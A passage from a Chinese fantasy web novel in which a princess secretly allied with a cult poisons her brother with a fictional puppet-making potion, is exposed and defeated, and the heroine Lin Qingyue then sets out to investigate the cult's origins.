“皇兄你进来怎么也不敲门,吓死人家了?听说太子来了,人呢?”
凌真说:“他走了。”
凌雪向外张望的一眼,急切地问:“怎么就走了呢?我一听说他来了,赶忙就梳洗打扮,想让他看到我美丽的样子。我的妆都还没画完,他怎么能走呢?皇兄你怎么也不留他呢?”
少女语气娇憨,怎么看都是怀春的少女,毫无心机。
从前,凌真一直以为妹妹就是那种单纯娇憨的少女。
可此刻,再看眼前人时,他的目光中却透着几分探究:“阿雪,你知道食飞天尸蚕吗?”
凌雪歪着头问:“飞什么蚕?那是什么?”
凌真反问:“你当真不知道?那你身边的那位婢女呢?她似乎叫……秋儿?”
凌雪慢慢地坐下,要拿起螺子黛,重新开始描画眉毛。
她的眉毛很好看,弯弯如新月,衬托的她的容颜更加的娇俏可人。
“皇兄怎么关心起我的婢女了?”
“我为什么关心她?你可知刚才齐国太子,拿着她的画像过来问我要人!”
“那个叫秋儿的婢女——若皇兄没记错的话,是你三年前从外面带回来,而后一直带在身边。”
“可去年她又突然不见了。我偶尔问起,你说她回乡探病。直到前两天,她又突然出现在你身边。”
“她到底干了些什么事儿,你不会不知道吧?”
“皇兄,我真的不知道!”凌雪还在狡辩,“哦对了,我想起来了。秋儿的故乡就是在齐国,所以我后来又遇到了她。”
“撒谎!从小到大,皇兄一直宠着你!就算齐国的太子找上门来,就算他们对我用了术法,我也想方设法地保护你。可你到底干了些什么?”
凌雪惊讶回头:“他们对你用了术法?是什么术法,你告诉他们秋儿是我的人了吗?”
“应该是利用催眠术一类的术法,侵入我的脑海。”
凌真说着从脖子里掏出一个青玉挂坠,那玉石通体莹润,雕刻成三足金乌的形象,看起来十分有灵气。
“也幸好,临行之前父皇送我这个金乌玉坠,能摒除一切术法的侵害。”
“所以当时,那朝澜亲王想探究我记忆的时候,我努力地不去想和秋儿有关的任何事情,终于蒙混过关。”
凌雪直直地盯着玉坠看,喃喃地道:“原来这就是我们丰国皇室的至宝,金乌玉坠啊。父皇还真是宠爱皇兄呢。”
“阿雪!都到了这个地步,你还不肯和皇兄说实话吗?”
“皇兄,有些事情你还是不要知道的好。”
她说罢,转身就要走。
“阿雪,你站住!”凌真想要拽回凌雪,却在拉扯过程中,不小心将她披在身上的外衫扯落,露出光洁的肩膀,以及肩膀上黑色的蛇形印记。
“这是——归元教的印记!”凌真神色大骇,“你身上居然会有归元教的印记,你是……归元教的人?”
“啪!”他一巴掌搧了过去,怒不可遏,“你堂堂丰国公主,怎可和那些邪门歪道为伍?你……”
话没说完,颜秋儿忽然从屏风后闪了出来。接着,就见寒光一闪而过,眼看刀子就要划破凌真的喉咙。
凌雪急忙出手,打掉了颜秋儿的匕首,不等凌真反应过来就点了他的定身穴道。
颜秋儿急忙关好房门,语气冷冷道:“公主,他已经发现了你的身份,不能再留。”
凌雪“啪”的一个巴掌打过去:“你好大的胆子,敢对我皇兄动手!”
颜秋儿被打得头一偏,眼底没有身为奴婢的胆怯,却多了一份怨恨。
“奴婢也是为了公主好。这两年,由于大皇子的干涉,我们归元教几乎无法再在丰国立足。如今,他又看出了您的身份,势必不会放过我们!”
“凌雪公主,你是聪明人,千万不能因为一时心软,而让归元教陷入危险!”
“心软?”凌雪笑了,“怎么会呢?”
她摸了摸凌真的脸颊:“皇兄啊皇兄,虽然这些年多亏了你的照顾,我才能过上体面的日子。可是……可是你为什么非要拆穿这一切呢?”
"你既然没有在齐国太子跟前拆穿我,又为什么不能装到底呢?你就假装什么都不知道该多好,那样我们兄妹还能像从前一样相亲相爱。"
她取下了凌真脖子上的乌金玉坠,叹息道:“真是个宝贝,听说是从上古流传下来。可惜,不能抵消普通的武力攻击。”
凌真此刻被点了穴道,动不了,也说不出一句话。
刚才为了防止走漏消息,他一个侍卫都没有带。可万万没有想到,从小被他养大,亲密无间的妹妹居然会对自己下手。
他想问凌雪到底想要干什么,可什么也说不出。只有一双眼,不断地眨巴着。
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第188章 皇兄,我把你做成傀儡怎么样?
凌雪道:“哥哥你放心,我不会随便让人伤害你。毕竟得丰国的时候,只有你对我最好。”
“当年,我母妃被斩首的时候,我才五岁。所有人都说我该跟她一起去死,因为我们身上都留着战败国的血液。是你站出来替我求情,才让我活下来。”
“你虽是我的皇兄,可在阿雪的心里长兄如父,远比我们那薄情寡义的父皇好多了。”
“所以……”
她嫣然一笑,一如从前一样纯真,可说出的话却让人毛骨悚然。
“皇兄,我把你做成傀儡怎么样?这样的话,你既不会泄露我的秘密,也可以一直陪着我!”
凌真猛然瞪大了眼睛。
“皇兄你别怕。我不会让尸蚕寄生在你身上,那样太疼了。”
她从袖口里掏出一个白色瓷瓶,一边用水慢慢调制,一边道:
“可惜养在天香楼冰窖的那批飞天尸蚕都被毁了,蛊心粉也只剩下这一点。原本是想留给齐国太子享用。现在只能给皇兄你了。”
“哎呀,这蛊心粉就是融化起来太麻烦,要搅拌许久才能完全溶解。不过,喝起来无色无味,极好入口。”
“好了,终于溶解了。”
她端着杯子,捏着陶瓷小汤勺,温柔地哄着:“皇兄尝尝看,温度是不是正合适?”
凌真牙关紧咬,努力地抗拒着。
“皇兄乖,只要喝下去,你的七情六欲和心智都会退化。虽然变成傀儡后,不会再像以前那样鲜活生动,可至少这样能保证你一条命。”
“别怪阿雪狠心,我也是为了你好,否则归元教的人不会放过你。别担心,就算你以后变成傀儡人,我也会好好照顾,让你体体面面,依然做丰国的皇子。”
“皇兄,你喝你快喝啊!”
勺子上的药水没有喂进去,反而全都洒了出来。
凌雪有些恼火了,把勺子一扔,捏住了凌真的下巴强迫他张开嘴,然后将杯里的药水一股脑地灌进他喉咙里。
眼看他已经把药水吞咽下腹,凌雪才解了他的穴道。
粗鲁的灌药,让凌真捂着脖子咳嗽不止。
他抠着嗓子,试图将药粉吐出。
凌雪道:“没有用的,这药一旦入口,就会迅速流入人体的奇经八脉,然后慢慢浑身绵软,失去对自身的控制力。一个时辰后,你的神志就会彻底丧失,变成乖乖听话的傀儡人。”
“你!”凌真猛然伸手,死死地掐住凌雪的脖子。
颜秋儿见状,并不出手解救,只是冷笑。
凌雪也是一副浑然不怕的模样。
凌真简直是恨极了这个狼心狗肺的妹妹,恨得都想将她活活掐死。
可不知道为什么,掐住了她脖子后,手上却使不出丁点力气。
好像有一股奇特的力量在控制着他,让他无法下死手。
凌雪轻而易举就将他的手拨开,笑盈盈地说:“皇兄啊,你不用白费力气。刚才你喝的药水里混入了我的血,我就是你这具傀儡之躯的主人。所以你无法对我下手。”
“你这个贱人,这些年来,我简直是在养虎为患!”
“皇兄,何必这么生气呢?是,当年多亏了你,阿雪才能逃过一死。你确实比父皇待我好一些。可你也和他们一样,将我视为你们手上的棋子。”
美丽的少女还在微笑,眸子里却浸染了一层冰冷的寒意。
“你真的将我当成你的妹妹?还是你联姻的工具?”
“金枝玉叶的公主啊,多么好听的称谓……可同是皇室血脉,为何你们皇子能逐鹿天下,我们却只能远嫁他乡?”
“太平年月,我们是维系和平的纽带。烽火燃起时,又最先成了祭旗的祭品。就像我母亲,他们当着我的面,在三军阵前砍下她的头颅。我看着那颗头颅滚到脚边,流了好多好多的血……”
“大姐嫁去异域时,正是豆蔻年华,却要侍奉垂垂老矣的君主。”
“二姐不过想挣脱枷锁,和侍卫私奔。父皇竟让她亲眼看着爱人被凌迟处死,一刀一刀,直到骨肉成泥。她疯了,再没了价值,只能在冷宫里捡别人剩下的残羹冷饭。”
“这就是丰国的皇室公主,金枝玉叶的公主!”
“可你们呢?你们这些皇子,不论出生如何,成年就能坐拥府邸,运气好些,甚至能染指天下!”
“凭什么?同样是父皇的孩子,我们生来就要做工具,做你们权力路上的垫脚石?”
“凭什么?凭什么!”
她的声音拔高,语气也逐渐疯癫:“我不能束手就擒,不能让自己落得像大姐、二姐那样的下场。所幸后来我……遇到了归元教。”
“那个教派很有意思,就算是女性也能获得很大的权利。所以我利用公主的身份,为他们做掩护,在丰国开设大大小小的分堂。”
“而他们,给了我长老的职务。还教我如何饲养飞天尸蚕。有了这种东西,我就可以炼制蛊心粉,将人变成傀儡,为我所用。”
“我来到齐国的目的,也是为了在这里部署下归元教的分堂,将我们的教派发扬光大。”
本小章还未完,请点击下一页继续阅读后面精彩内容!“至于什么痴恋齐国太子……呵呵呵,像我这样的人,怎么可能为情所困?”
“不过那东方起确实是一个不错的联姻对象,若是他愿意和我在一起,自然最好。若是不愿意,我会想办法将他变成傀儡人,再借由他控制齐国!”
凌真从来没有想过凌雪居然怀着这么大的怨气,甚至做下此等疯狂之事。
“丰国虽是大国,可接壤西域26国,时常受到那些国家的侵扰,长年累月的战争,民生多苦、国库虚空。”
“很多时候,联姻也是不得已而为之的事。非但公主,即便是皇子,我们的婚姻也身不由己啊。可又能如何呢?我们身在皇室,从小锦衣玉食的生活皆来自百姓的奉养。自然要尽到公主、皇子的义务。”
“皇兄也知道,身为女孩儿,你们背负的枷锁更多。所以这次我才答应带你来齐国,即便要联姻,嫁入齐国也比远赴西域要好。”
“哪怕东方起对你无意,皇兄也在积极为你谋划齐国其他的皇室成员。比如那东方宴,年轻又有权势,是除了太子之外最好的人选……”
“可我为什么非要依附于他人?”凌雪打断了他的话,“这么多年来,我早已过够了依附他人的生活!”
“东方宴?哈!你真以为他是个什么好东西?不过就是看上了我的身份而已,若我真如你所愿嫁给了他,也不过是从一个囚笼换到另一个囚笼而已。”
“我要让自己变得强大,我要养更多的飞天尸蚕,我要让那些位高权重的男人都成为我的傀儡!”
“皇兄,等到你变成我的傀儡人后。我们就一起回丰国去吧,父皇最信任你了。你给他的任何东西,哪怕是毒物,他也会放心地吃下。到时,我们把父皇也变成傀儡人吧!”
“哈哈哈,想想就很有意思呢!”
“唉,只是可惜东方起的一副好皮囊,原本也是我的囊中之物。可如今事情有变,只能先回丰国了。”
她转头问颜秋儿:“东西都收拾好了吗?”
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第189章 血洗又如何?
颜秋儿点头:“已经准备妥当,我们随时可以走。可惜我在齐国布局了一年多……真是功亏一篑!”
凌雪瞥了她一眼:“少说那些没用的!事不宜迟,先撤走。”
然而当她们准备离开的时候,打开房门却看到门外站着东方起、林倾月,以及玄镜司的一众人等。
凌雪惊讶无比,没料到他们居然去而复返。
颜秋儿第一时间亮出匕首,意图反抗。
可还不等近身,就被谢守正一鞭子挥过去,和她缠斗在一起。
大米和几个司卫也追上去帮忙。
仅仅几个回合之后,颜秋儿抵挡不住,被谢守正一鞭子抽到在地。
大米赶忙上前,刀子架在她的脖子上:“老实点,不然一刀剁了你的脑袋!”
颜秋儿眼看在劫难逃,恨恨地道了一句:“你们等着迎接报复吧!”
而后就准备引颈就戮。
林倾月眼疾手快,屈指一弹,打偏了刀锋。
大米等人也反应过来,将人死死按在地上,不容她再有任何动作。
林倾月冷笑:“怎么,想一死了之,问过我没有?”
东方起双手负在身后,淡笑着问:“凌真皇子,现在你应该不会再想包庇令妹了吧?”
随着蛊心粉进入身体,药效逐渐开始发挥作用。
这时,凌真感觉到身体开始出现乏力、头晕的症状,说话的声音也有些疲软。
“阿雪,放弃吧!不要再执迷不悟了,归元教就是……是邪门歪道,做的都是些祸乱一方的事情。阿雪……”
“你住口!”凌雪掏出匕首抵在凌真的脖子上,喝道,“都闪开,否则玉石俱焚!”
“我是丰国公主,我哥哥是丰国最受重视的大皇子,若是在你们齐国出了事,必然会影响到两国关系!说不定,还会打破多年来的和谐。”
凌真道:“阿雪你住手!我死不要紧,可丰国不能打仗,中原三国的和平也不能因此毁于一旦!”
"那又如何呢?"凌雪没心没肺地笑着,仿佛是没长大的孩童一般。
“打仗又怎样?死人又如何?我活不了,谁都别想好过!”
“阿雪你……”凌真还想再劝,可他身体虚弱得愈来愈厉害,很快连站都站不住了。也说不出话来。
凌雪把刀子挪到凌真的身后,大声地喊道:“来人,护驾!齐国人居心不良,要杀害本公主和大皇子!”
他们此番出使,身边自然也带了不少随从。包括丰国的大臣,以及训练有素的侍卫。
先前为了保护妹妹,凌真把那些人都撤走了。
此刻听到凌雪的呼喊,丰国的大臣和侍卫一股脑地涌了出来。
凌雪指着东方起他们,开始颠倒黑白:“这些人突然闯入使馆,意图伤害我皇兄,快快护驾!”
“不,不是……”凌真想要解释清楚,可随着蛊心粉药效开始逐渐发作,连说话都开始不受控制。
眼看在凌雪的挑唆之下,两边人马已经开始剑拔弩张。
谢守正愤怒地骂道:“你这什么狗屁公主,自己的兄长和国家都害,你还是个人吗?还有你们这些傻蛋,看不出来这女人居心叵测?赶紧放下刀,好好劝劝你家公主,叫她回头是岸!”
“住口!”一个丰国使臣道,“我等为两国邦交远道而来,你们怎可带兵闯入鸿胪寺。还出言不逊侮辱我们的公主!我劝你们速速退兵,否则丰国绝不会善罢甘休!”
东方起手下侍卫进言道:“殿下,要不我们先退回去?凌雪是他们的公主,他们不可能相信我们的话。但若是在这里发生血战,无论胜负如何,丰国那边都不好交代。”
东方起沉吟不语,似在权衡。
林倾月却忽然笑了起来,笑得凌雪都一头雾水:“你在笑什么?”
林倾月笑容一收道:“我笑你太蠢啊,你若是没有对你兄长下手,或许他还能保护你,可你如今却将他做成傀儡人。即便我们放你们离开,回到丰国之后,他也会受你的控制,转而对齐国多加污蔑。”
“以你这种丧心病狂的性格,保不齐还真会掀起两国战争。所以……”
她脸色一沉,说出来的话格外残忍:“……与其那时候被你们反扑,酿成大祸,倒不如今日一劳永逸,彻底除掉你这个祸害!”
说话间,她抬手示意:“谢大人,准备布阵!不过就是百余名侍卫,血洗又如何?”
谢守正暗暗心惊:林副使果然是个狠人!
他随之大喝一声:“布阵!”
玄镜司前番为救林倾月,倾巢出动,大部分人都埋伏在外.
此刻,听得两位主官一声令下,齐齐出动,拿出法器摆出阵势,再加上太子的侍卫,丰国的人立刻就落了下风。
凌雪道:“你们当真不顾两国的情谊了吗?起哥哥……”
她又装出一副柔弱的模样,含情脉脉地看着东方起:“此次,阿雪也是为你而来。你难道忘了我们小时候一块玩耍的时光了吗?如果不是你狠心拒绝我,我们也不至于闹翻。起哥哥,你真的要对我下此狠手吗?”
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第190章 可有解毒之法?
东方起冷声道:“收起你那副虚伪的模样吧!除了你哥,没人会吃你那一套!”
“太子殿下,你当真如此绝情,置两国情谊不顾?”说话的依然是那个丰国使臣。
林倾月道一声:“谢大人,动手!”
谢守正凑过来,悄声道:“真动手啊?不是吓唬吓唬人?”
林倾月道:“事关飞天尸蚕,我绝对不允许任何姑息!”
就在这时候,丰国使臣从怀里放出一只灵鸟,嗖的一下飞起。那速度之快,犹如闪电。
可下一刻,灵鸟发出一声尖锐的哀嚎后,忽然从高空坠落。
不偏不倚,正好落在了林倾月的手里。
林倾月看着这只通体雪白,三寸大小的鸟儿,笑盈盈地道:“原来,你们还带有这种传信灵鸟,难怪敢有恃无恐。可惜啊,没有本王的允许,连一只鸟都飞不出这里!”
“这是惊鸿雀可日行三千里,动作极快,连箭矢也追不上它的速度。你居然能抓住它?”
凌雪此刻脸色煞白。手里最后一张王牌也被掀了底,她不禁有些慌乱。
而林倾月窥得空隙,红色的幽冥伞“唰”的一声飞出,12根散骨梢上的飞出12柄飞刀,像破碎的月光飞向凌雪。
凌雪瞬间就慌,急忙抽出鞭子抵挡。
可飞刀的速度实在太快,还不等她出招防御,光影一闪而过。下一刻,就见凌雪的手腕、胳膊、膝盖、腿上,全部落下一道极为浅薄的血痕。
凌雪“扑通”跪倒,被她搀扶的凌真皇子顿时失了支撑,瘫软在地。
凌真浑身脱力,连话都说不出,只能眼睁睁看着麾下不明真相的侍卫,与齐国人混战起来。
眼看着就要落入不可收拾的局面,只听一声厉喝:“都住手!”
东方起的刀子架在凌真的脖子上:“凌真在本宫手上,不想他死就放下武器!”
虽然刀剑在前,可凌真皇子却知道自己得救了,激动的眼泪都流了出来。
可一想到自己已经中了蛊心之毒,很快就要变成傀儡人,他又不禁悲从心来。
丰国的那些人生怕皇子受伤,不敢再轻举妄动。
谢守正他们则趁此机会,将这些人全部给缴了械。
“今日你敢杀我们皇子,来日必将承受我们丰国的怒火!”
“即便传不出信去,可只要几日没有我们的消息,丰国那边就会知道我们出事了。齐国太子,你当真要将两国置于死敌的局面上吗?”
东方起道:“今日若不是顾念两国的关系,早将你们这些愚蠢的人通通杀光。难道还看不出来吗,你们的皇子中了毒。而下毒之人,就是他的妹妹,你们丰国的公主!”
然而这些话并不能让那些人相信,他们纷纷叫嚷着,要东方起放人。
而凌雪虽然已重伤,浑身的关节都被林倾月的飞刀给打断,却依然张狂地笑着:“他们不会相信你的,我可是丰国的公主,凌真的亲妹妹,怎么可能会害我的皇兄呢?”
“我皇兄和我不一样,他是我父皇最喜欢的儿子,被寄予了厚望。你们害了他,就等于和丰国撕破脸皮。战争啊,多少年没有开始了,哈哈哈……打吧打吧,天下都覆灭才好呢!”
她躺在一片血泊里,放声地笑着。只要再过一刻钟,蛊心之毒就要开始生效了。
凌真,她的好哥哥就会彻底沦为傀儡,那时他说什么、做什么,都受她这个妹妹的心意控制。
齐国人若是杀了凌真,两国必战。
若是不杀凌真,凌真就会被受她心念控制,指认被东方起和林倾月谋害——哪怕自己死,也会在死前将指令植入凌真的思想里。
战争,依然不可避免。
“这些年来丰国靠着公主联姻换得的太平,终于要打破了。哈哈哈……”
东方起蹙眉,问林倾月:“可有解毒之法?”
林倾月二话不说,直接上前一刀插入凌真的胸口,放出他的心头血。
这一番操作,看得那些丰国人瞋目切齿,大喊着:“休要伤害我家殿下!殿下殿下!”
而凌真原本已经要陷入昏迷中沦为傀儡,也是林倾月那一刀,将他生生地痛醒。原本逐渐丧失的本性,也在慢慢恢复。
林倾月没有理会他们,盯着凌真的伤口看,直到黑血流净。她才按了他心口附近的几个止血穴道,而后手掌在伤口上一抚而过,原本狰狞的伤口便开始有了愈合的趋势。
做完这一切,林倾月拍了拍手,问道:“如何,能说话吗?”
凌真慢慢张嘴,吐出一句含糊的声音:“多……谢!”
那声音很轻,几乎要淹没在那些丰国人的嚷叫声中。
可旁边的凌雪却听得清清楚楚,她猛地瞪大了眼睛:“这怎么可能?蛊心之毒一旦种下,无法可解。你怎么可能……怎么可能……”
林倾月冷笑道:“虽然本王不知道你是从哪里学的这些邪门歪道。但教你饲养飞天尸蚕的人,定然也是个半吊子。”
“世间万物相生相克,飞天尸蚕结的蚕茧是毒,可母虫的血却解毒。幸好你不知道这些,才傻乎乎地把母蚕种入林如珍的身体里。”
原本叫嚣的丰国使臣,听得两人的对话,又看到凌真的脸上逐渐恢复红润,这才意识到情况好像有些出乎意料。
凌真虽然依旧虚弱,却还努力地解释:“大家千万不……不要误会,刚才我……是被凌雪公主下了毒。齐国太子和朝澜亲王是……是为了救我才来到这里。”
好不容易说完这一整段话,整个人虚得直喘气。
好在误会解释清楚,不会引发两国的矛盾,也算松了口气。
再看向凌雪时,凌真的眼底再无从前的宠爱。
“太子殿下,出现这样的事情实在……抱歉。但凌雪毕竟是……丰国人,希望你能将她交给我。你放心她……她做了这样大逆不道的事,定然会……受到重罚。”
东方起没有说话,只是用目光询问林倾月。
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第191章 凌雪的过去
林倾月道:“可以,但在此之前,我要搜一遍她的记忆!”
飞天尸蚕已经销声匿迹了几千年,突然出现绝非偶然。
林倾月不在乎一个丰国公主的死活,但绝不允许千年前的悲剧重演!
凌真皇子点头同意。
林倾月手指在虚空中飞快地画出一道符箓,口里念道:“过往种种,苍天可鉴。以血为引,溯梦回影!”
随着金色的符文没入凌雪的身体里,她陷入了一场深沉的梦境之中。
而梦境里的一切,也被林倾月的溯梦回影展现在众人面前。
冰冷的冷宫,哭泣的小女孩。
没有人能把这一幕,和金枝玉叶的公主联系到一起。
那天,是她的母亲被斩首日子。
就因为,母亲的国家和丰国开战了,所以她就要被杀死祭旗。
哪怕她曾经丰国后宫最受宠的贵妃,哪怕她已诞下后嗣和母族再无关系,依然逃不了一死。
也是从那天之后,凌雪知道世界根本没有什么真情可言,一切都是算计利用。
于是,她为替自己博得一条生路,故意让大皇子看到她被宫人虐待的情景,果然换得他的一丝怜悯。
在大皇子的庇护之下,她在后宫的日子才渐渐好一些。
可凌雪深知,一旦失去利用价值,自己终将被弃。她必须尽快彰显价值,方能立足。
恰逢中原三国国君会盟,她得以见到齐国太子东方起——那位生来便尊贵无比的翩翩少年。
彼时与会的公主众多,凌雪并不起眼,却藏着最深的心思。
她清楚东方起的分量,知道必须抓住与之交好的机会。
于是,她故意偷了东方起的玉佩,再假意帮他寻回,借此拉近了关系。
她与东方起言谈嬉闹的模样,落入父皇与皇兄眼中,便有了别样的意味。
果不其然,三国会盟结束后,凌雪在丰国的待遇便大幅提升了。
就连最薄情寡义的父皇,也会主动召她到跟前,抚着她的长发笑盈盈地道:
“我们阿雪越长越好看,有你母亲的影子了。难怪齐国太子对你另眼相看。”
他竟还有脸提母亲?
凌雪恶心的胃里一阵翻涌,面上却漾着纯真的笑:“都是父皇家教的好!”
“阿雪,你可曾怨过父皇?”
——这是在试探吗?
“父皇给了女儿生命,又待女儿如珠如宝,女儿怎会怨恨?”
“你明白就好。身为丰国公主,总要担起应尽的职责。”
“女儿谨记父皇教诲!”
她演得极好,时而天真烂漫,时而骄纵任性,活脱脱一副被宠坏的模样。
可无人知晓的是,自五岁那年起,噩梦便夜夜缠绕着她。
有时梦里,母亲在她面前被斩下头颅,捧着自己的头问她:
“阿雪,何时为母亲报仇?”
“你是不是忘了母亲?”
“阿雪,母亲好疼啊……”
有时,梦里被砍头的人换成了她自己。
接着便听见母亲嘶哑嘲讽的声音:“你是公主又如何?没了利用价值,照样会被弃如敝履。”
“阿雪,要反抗,要杀了他们!只有他们都死了,你才安全!”
有一天午夜惊醒,她在漆黑中枯坐许久,终于忍不住哭着问:
“母亲,你总让我报仇杀人,可我该怎么办?连活下去都要费尽心机……”
“我该怎么办……”
就在她茫然无助时,一团黑色的虚影在身边徘徊起来。
“凌雪公主……凌雪公主……”
“你是谁?你别过来,呜呜……我害怕!”
“别怕,至少我不会向你父皇那样伤害。凌雪公主,我是被你的怨恨吸引而来,帮你达成心愿。”
“我可以给你想要的力量,帮你复仇,为你做一切你想做的事。”
凌雪起初害怕,可很快欲望就压下了恐惧:
“你可以给我力量?这里是皇宫,有专门驱邪镇妖的防护阵法,你是怎么进来的?”
“你也说了,那是专门驱邪镇妖的。如此也可说明,我并非妖邪。”
“不是妖邪?你到底是谁?为什么不敢现出真身?”
“我是神明,来人间度化苦厄的神!可怜的人儿啊,做我忠诚的信徒吧!有我的庇护,从此以后没人再能欺负你。不信的话,你看——”
那条黑色的虚影飘进了凌雪的身体,她忽然就觉得自己身体拥有了不一样的力量。
也是从那天开始,她接触到了归元教,知道诚心诚意的供奉能让自己获得强大的力量,也越来越有权势。
可仅仅是这样,还远远不够。
她憎恨父皇,憎恨着自己的国家。
谁说公主只能联姻,公主也能让国家走向灭亡啊!
在她在暗自襄助之下,归元教的势力渐渐在丰国遍地开花,信徒也越来越多。
只是后来还是出了意外。
凌真皇子发现那个教派的存在,一查之下更惊觉起强大的凝聚力和洗脑能力。
教中的信众无视国家,只为心中信奉的神明而卖命。
他意识到这样下去,恐怕会给国家带来恶果,于是不由分说在全国范围内进行清剿。
整整用了一年的时间,他才将归元教肃清。
而彼时,凌雪已经是教宗的长老。
身体里的那团黑色雾气在叫嚣着:“他毁了我们多年的基业,你必须要杀了凌真!我命你杀了凌真,听到了没有!”
可如今的凌雪,早已不是当年手无缚鸡之力的柔弱公主。
她将那团黑雾从身体里哄骗出来后,忽然扯开蒙窗的黑布,刺眼的阳光铺天盖地而来。
而那团黑夜,在阳光下发出尖锐痛苦的嚎叫。
“你……你背叛我,凌雪你……你就不怕神罚吗?”
“神罚?你真以为你是天神呢?这么多年了,我早就将你的底薪查清楚了。你不过只是一个鬼魂而已,被培育出来的爪牙,也许确实有些特殊的能力,比一般的鬼魂强大,可怕光就是你最大的弱点。”
“凌雪,你居然对我下手……你这个忘恩负义的女人!啊——”
在最后的惨叫声中,那一团黑色的东西魂飞魄散。
凌雪眼睁睁地看着陪伴了多年的魂魄消散,没有丝毫眷恋,反而露出一抹得逞的笑:
“我不会受任何人控制!谁也别想控制我!”
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第195章 挂冠而去
红瑶诧异:“所以,你没有告知太子,就要离开?可太子他对你分明有情……我本以为你们能修得正果。为什么你要……”
林倾月苦笑一声,“因为我怕自己偿还不了他的情,所以才要断舍离。更何况,我还有重要的事情要办。”
“林副使……”红瑶红了眼眶,满心不舍。
林倾月站起来,理了理自己的裙摆,道:“行了,该交代都交代清楚了。我也该走了,后会有期!”
她摆了摆手,向着门外而去,不多久那一袭黑衣融入夜色里,难觅踪迹。
功名利禄说放就放,潇洒得好像万事都不放在心上。
只是在登上马车之前,她忍不住向着东宫的方向看去。不出意外的话,现在东方起正在东宫禁足。
飞天尸蚕——本应在三千年前灭绝的,为什么会重新现世?
颜秋儿断气之前,其实林倾月侵入她的识海里,把她过往的记忆快速过一遍。
从而,得知了不少归元教的事情。
归元教的传教的模式,对信徒的控制方式,以及发展轨迹,都和3000年前那些伪神们弄出来的一模一样。
到底是后人在效仿,还有千年前的余孽死灰复燃?
当年,倾月仙君花了那么大的代价,险些生死道消才重塑一切。她怎么也不可能,让过去的一切重新上演。
所以,她必须要去一趟鬼方国,找到归元教的总部,查清楚那所谓的归元大神的底细。
可若是对方真的和3000年前的修仙界有关,实力将不容小觑。
而她如今的修为还不足过去的十分之一,此去前途未卜。
东方起对她情根深种,若是知道她要去冒险,一定不会放她离去。又或者,跟着她一起冒险?
不管是哪一种,都不是林倾月希望看到的。
上一世,她辜负过许多人,这一世她不想再欠任何情债。
于是,她借着和齐昭帝谈飞天尸蚕案子的时机,也将自己的想法透露出来,并提出让齐昭帝陪她演一出双簧。
于是就有了后来,她因为君前失仪,被废除亲王爵位的事。
也只有闹得僵了,自己挂冠离去才能顺理成章。
当她提出这个计划的时候,齐昭帝都满心不解:
"你在齐国当个清闲的王爷不好吗?何必要远去鬼方国冒险?鬼方远在西域,就算有什么邪教作乱,也影响不到我们齐国。"
“还有太子,他对你一片真心,甚至为了你不惜自污。哼,他还以为自己做得多么周全,其实朕都心知肚明!”
“还有那次,他当众拒绝丰国联姻,也是心中念着你——不过也幸好拒绝了。那位凌雪公主,我们齐国可真是要不起!”
“他拒婚的时候,你帮了他一把。事后,他还担心朕会因此怪罪于你,特意向朕解释了半天。”
“其实那时,朕就已经心软了,愿意成全你们。”
“可你倒好,放着朕那么好的儿子不要,搞什么挂冠而去?你倒是说说看,朕的儿子怎么就入不了你的贵眼?”
林倾月当时也没想到,齐昭帝居然会和她说这么多肺腑之言。甚至还默许了东方起娶她?
她原本还以为,像自己这种不受管束的女子根本入不了帝王的眼。当自己提出要离去,齐昭帝应该要放鞭炮庆祝才对!
原来,却是自己小瞧了齐昭帝的心胸。
东方起能有这样的父亲,着实幸运。
“陛下,太子的钟情,不过是源于当初为难之际,我的出手相救而已。若当时救下太子的不是我,是另一个女子,他也会同样爱上对方。”
“而我……”她苦笑一声,“世间情爱
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与我已如昨日黄昏,不可追。我此生都不会再爱上任何人,便也不想误他终身。”
“至于去鬼方国……此乃我执念所在,必须亲手了结。或许,我这样人的注定不能安享太平。”
最终,在林倾月的坚持下,齐昭帝点头答应。
在和林倾月唱完一场双簧后,齐昭帝就借机把东方起给关了禁闭。
“再见了,东方起。”她向着黑暗的夜色,向着东宫所在的方向,轻声呢喃了一句。
而后,她跳上了马车,又顺手在马屁股上拍上一张引路符,那马无需车夫就自动往城外而去。
夜风微凉,透窗而入。
林倾月不由得又想起,第一次看到东方起的时候。
明明已是一抹孤魂,附在猫的身上,却还要多管闲事,救下被流氓欺负的女子,结果自己差点魂飞魄散。
许是因为看到他身上的至纯至善,所以林倾月愿意帮他找回丢失的魂魄。
再后来,他们一起出城去前往赤影之地。
在城外的小路上,她第一次看到他恢复人身的模样:白衣男子负手立在车旁,如谪仙临世,默默地等她走进,好像已经等了许久许久。
前往赤影之地的路上,林倾月、东方起、谢守正三人一路嬉笑怒骂,见到不平之事总会忍不住出手。
可如今,同样的出城路,只有她一人形单影只。
齐昭帝说,会让东方起禁足半个月。
所以,等半月之后他出了东宫,林倾月应该已经出了齐国国境吧。
也不知道下次再见时,他是否已娶妻生子?
又或者,不会再见?
林倾月自嘲一笑:为什么总要想起他呢?本就是两个世界的人,恰好遇见,注定分开。何必落下太多羁绊?
她指尖一点,车外的马长嘶一声,加速奔驰起来。
第196章 小镇传说
天亮的时候,已经到了距离京城两百多里外的一座小县城。
林倾月倒是不累,可是马需要休息,要不然早早跑**也麻烦。
县城长街上,食肆林立,南北美食皆有。
她几乎下意识地就跨入了一家面馆,给迎客的伙计丢了几十枚钱:“有劳,帮我把马喂了,要上好的草料。”
面馆其中一面墙上挂着一排排菜牌,可林倾月瞅来瞅去选不好要吃什么。
伙计刚才得了赏钱,正殷勤地给她介绍:“我们店最擅长面食,汤面、炒面、拌面、烩面,什么都有。浇头也一应俱全,鸡肉、羊肉、猪肉、鱼肉……客官,您要点哪一种?”
林倾月有些犯难,都想尝尝,可有不想点太多浪费食物。
她不禁又想起上次和东方起在面馆里吃面的时候,似乎也是这样为难。
最后,点了好几碗果然吃不完,被东方起送给门外的乞丐了。
可惜,这家店外一个乞丐都没有。
“来碗羊肉烩面。”林倾月随便点了一碗。
吃着吃着吃着,却又觉得味同嚼蜡。
莫非是这段时间,口味吃叼了?还是因为其他缘故?
林倾月放下碗筷,叹息了一声。
马还在悠悠吃草,她等了一阵子,才重新起程。
如此一路,十多天后就到了丰国境内。
凌真皇子虽然已经开始回国,但他们随从、辎重多走得慢,如今还没走出齐国的国境。
不过对于归元教的肃清,却显然开始加强。
到处都能看到宣扬邪教蛊惑人心,不可轻信的公文。
张贴公文的告示栏旁,还专门有人朗读。
如此,也算是丰国朝廷用心了。
作为同属于中原地区的国家,丰国的民俗风情和齐国大同小异。
